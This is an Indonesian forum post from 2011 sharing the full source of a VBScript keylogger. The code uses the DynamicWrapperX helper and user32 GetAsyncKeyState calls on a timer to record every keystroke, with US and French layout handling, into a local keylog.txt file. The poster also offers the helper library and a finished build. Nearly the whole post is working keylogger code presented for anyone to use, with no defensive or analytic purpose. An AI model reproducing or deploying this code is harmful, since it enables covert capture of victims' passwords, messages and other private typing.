zippien Penduduk Chibi
Jumlah posting : 82 Points : 101 Reputation : 3 Join date : 2011-03-05 Age : 33 Lokasi : Cyber Land
| Subject: [share] Membuat Keylogger Sendiri Dengan Script VBS Mon Mar 07, 2011 5:31 pm | |
| tambahan: bagi yg mau belajar bikin keyloger sendiri pake vbs silakan baca kalo pengen yg peraktis cari aja softwarenya banyak kok asal jeli n keberuntungan berada di pihak lo pasti ketemu tuh sofware keylogernya klo mau buat sendiri okeh tanpa basa basi langsung aje ke scriptnye... ----------------------------start--------------------------------
'**************************************************** '* KeyloggerVBS 1.1b oem keys support (french standard layout) '* omen999 december 2009 '**************************************************** Option Explicit Const Pressed = -32767 Const ForAppending = 8 Dim oWrap, pAddr, pRef, uIDEvent Dim bLoop, Fso, oKeyLog Dim iLangID, iALK Dim aOEMKey(1,11,1) ' (iALK, vOEMKEY, LUKey) Dim aSysKey(35) aSysKey(0)="{BACKSPACE}" aSysKey(1)="{TAB}" aSysKey(2)="{ENTER}" aSysKey(3)="{BREAK}" aSysKey(4)="{NUMLOCK}" aSysKey(5)="{SCROLLLOCK}" aSysKey(6)="{CAPSLOCK}" aSysKey(7)="{ESC}" aSysKey(="{PGUP}" aSysKey(9)="{PGDN}" aSysKey(10)="{END}" aSysKey(11)="{HOME}" aSysKey(12)="{LEFT}" aSysKey(13)="{UP}" aSysKey(14)="{RIGHT}" aSysKey(15)="{DOWN}" aSysKey(16)="{PRTSC}" aSysKey(17)="{INS}" aSysKey(18)="{DEL}" aSysKey(19)="{HELP}" aSysKey(20)="{F1}" aSysKey(21)="{F2}" aSysKey(22)="{F3}" aSysKey(23)="{F4}" aSysKey(24)="{F5}" aSysKey(25)="{F6}" aSysKey(26)="{F7}" aSysKey(27)="{F8}" aSysKey(28)="{F9}" aSysKey(29)="{F10}" aSysKey(30)="{F11}" aSysKey(31)="{F12}" aSysKey(32)="{F13}" aSysKey(33)="{F14}" aSysKey(34)="{F15}" aSysKey(35)="{F16}"
Private Function GetCapsLock() GetCapsLock = CBool(oWrap.GetKeyState(&H14)) End Function Private Function GetAltGr() ' Alt Gr = Ctrl + Alt GetAltGr = CBool(oWrap.GetKeyState(&H11) and oWrap.GetKeyState(&H12)) End Function Private Function GetNumLock() GetNumLock = CBool(oWrap.GetKeyState(&H90)) End Function Private Function GetShift() GetShift = CBool(oWrap.GetAsyncKeyState(&H10)) End Function Private Function GetOEMKey(LKey, UKey, AKey) If GetAltGr Then If (Not GetShift) and (AKey <> 0) Then GetOEMKey = Chr(AKey) Else GetOEMKey = "" Else If GetCapsLock Then If GetShift Then GetOEMKey = Chr(LKey) Else GetOEMKey = Chr(UKey) Else If GetShift Then GetOEMKey = Chr(UKey) Else GetOEMKey = Chr(LKey) End If End If End Function
Sub TimerProc(hWnd, uMsg, idEvent, dwTime) Dim i Dim cKey cKey = "" For i = &H8 to &H7F Select Case i Case &HA,&HB,&HC,&HE,&HF,&H10,&H11,&H12,&H14,&H15,&H16,&H17,&H18,&H19,&H1A,&H1C, _ &H1D,&H1E,&H1F,&H29,&H2A,&H2B,&H3A,&H3B,&H3C,&H3D,&H3E,&H3F,&H40,&H5B,&H5C,&H5D,&H5E,&H5F ' NOPARSED KEYS Case &H8,&H9 ' BACKSPACE TAB If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = aSysKey(i - &H8) Exit For End If Case &HD ' RETURN If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = aSysKey(i - &HB) Exit For End If Case &H13 ' PAUSE If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = aSysKey(i - &H10) Exit For End If Case &H1B ' ESC If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = aSysKey(i - &H14) Exit For End If Case &H21,&H22,&H23,&H24,&H25,&H26,&H27,&H28 ' ARROW KEYS If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = aSysKey(i - &H19) Exit For End If Case &H2C,&H2D,&H2E,&H2F ' PRTSC INS DEL HELP If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = aSysKey(i - &H1C) Exit For End If Case &H70,&H71,&H72,&H73,&H74,&H75,&H76,&H77,&H78,&H79,&H7A,&H7B,&H7C,&H7D,&H7E,&H7F ' FUNC KEYS If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = aSysKey(i - &H5C) Exit For End If Case &H90,&H91 ' NUMLOCK, SCROLLLOCK If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = aSysKey(i - &H8C) Exit For End If Case &H60,&H61,&H62,&H63,&H64,&H65,&H66,&H67,&H68,&H69 ' NUMERIC PAD KEYS If oWrap.GetAsyncKeyState(i) = Pressed Then If GetNumLock Then cKey = Chr(i - &H30) ' NUMLOCK ONLY Exit For End If Case &H6A,&H6B,&H6C,&H6D,&H6E,&H6F ' MATH KEYS If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = Chr(i - &H40) Exit For End If Case &H30 ' à0@ If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&HE0, i, &H40) Exit For End If Case &H31 ' &1 If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&H26, i, 0) Exit For End If Case &H32 ' é2~ If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&HE9, i, &H7E) Exit For End If Case &H33 ' "3# If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&H22, i, &H23) Exit For End If Case &H34 ' '4{ If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&H27, i, &H7B) Exit For End If Case &H35 ' (5[ If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&H28, i, &H5B) Exit For End If Case &H36 ' -6| If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&H2D, i, &H7C) Exit For End If Case &H37 ' è7` If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&HE8, i, &H60) Exit For End If Case &H38 ' _8\ If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&H5F, i, &H5C) Exit For End If Case &H39 ' ç9^ If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&HE7, i, &H5E) Exit For End If Case Else ' ALPHA KEYS If oWrap.GetAsyncKeyState(i) = Pressed Then If GetCapsLock Then If GetShift Then cKey = LCase(Chr(i)) Else cKey = UCase(Chr(i)) Else If GetShift Then cKey = UCase(Chr(i)) Else cKey = LCase(Chr(i)) End If Exit For End If End Select Next If cKey <> "" Then oKeyLog.Write cKey Else For i = &HBA to &HC0 ' OEM KEYS 1 Select Case i Case &HBA ' $£¤ If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&H24, &HA3, &HA4) Exit For End If Case &HBB ' =+} If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&H3D, &H2B, &H7D) Exit For End If Case &HBC ' ,? If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&H2C, &H3F, 0) Exit For End If Case &HBD ' NONE If oWrap.GetAsyncKeyState(i) = Pressed Then cKey="" Exit For End If Case &HBE ' ;. If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&H3B, &H2E, 0) Exit For End If Case &HBF ' :/ If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&H3A, &H2F, 0) Exit For End If Case &HC0 ' ù% If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&HF9, &H25, 0) Exit For End If End Select Next If cKey = "" Then ' Testing second group For i = &HDB to &HE2 ' OEM KEYS 2 Select Case i Case &HE0, &HE1 ' NOPARSED KEYS Case &HDB ' )° If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&H29, &HB0) Exit For End If Case &HDC ' *µ If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&H2A, &HB5) Exit For End If Case &HDD ' ^¨ If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&H5E, &HA8) Exit For End If Case &HDE ' ² If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = Chr(&HB2) Exit For End If Case &HDF ' !§ If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&H21, &HA7) Exit For End If Case &HE2 ' <> If oWrap.GetAsyncKeyState(i) = Pressed Then cKey = GetOEMKey(&H3C, &H3E) Exit For End If End Select Next End If If cKey <> "" Then oKeyLog.Write cKey End If End Sub Set oWrap = CreateObject("DynamicWrapperX") Set pRef = GetRef("TimerProc") Set Fso = CreateObject("Scripting.FileSystemObject") With oWrap .Register "user32.dll", "SetTimer", "i=llll", "r=l" .Register "user32.dll", "KillTimer", "i=ll", "r=l" .Register "user32.dll", "GetAsyncKeyState", "i=l", "r=n" .Register "user32.dll", "GetKeyState", "i=l", "r=n" .Register "user32.dll", "GetKeyState", "i=l", "r=n" .Register "user32.dll", "GetKeyboardLayout", "i=u", "r=u" End With Set oKeyLog = Fso.OpenTextFile("keylog.txt", ForAppending, True) pAddr = oWrap.RegisterCallback(pRef, "i=llll", "r=l") iLangID = oWrap.GetKeyboardLayout(0) mod 65536 ' Low word Select Case iLangID ' Active layout keyboard Case &H409 ' EN-US iALK = 0 Case &H40C ' FR-STD iALK = 1 End Select uIDEvent = oWrap.SetTimer(0, 0, 60, pAddr) bLoop=True While bLoop WScript.Sleep 60 ' Loop exit Shift + Esc If (oWrap.GetAsyncKeyState(&H1B) = Pressed) and GetShift Then bLoop = False Wend oWrap.KillTimer 0,uIDEvent oKeyLog.Close
----------------------------end-----------------------------------ttapi mstahil bila kita mebuat keylogger dengan vbs tnpa bntuan dari luar. (cuz vbs tdk memenuhi syarat buat ntu) maka dari itu aye ksih jga. namenye dinwarpx. and barang yg udah jadinya. |
|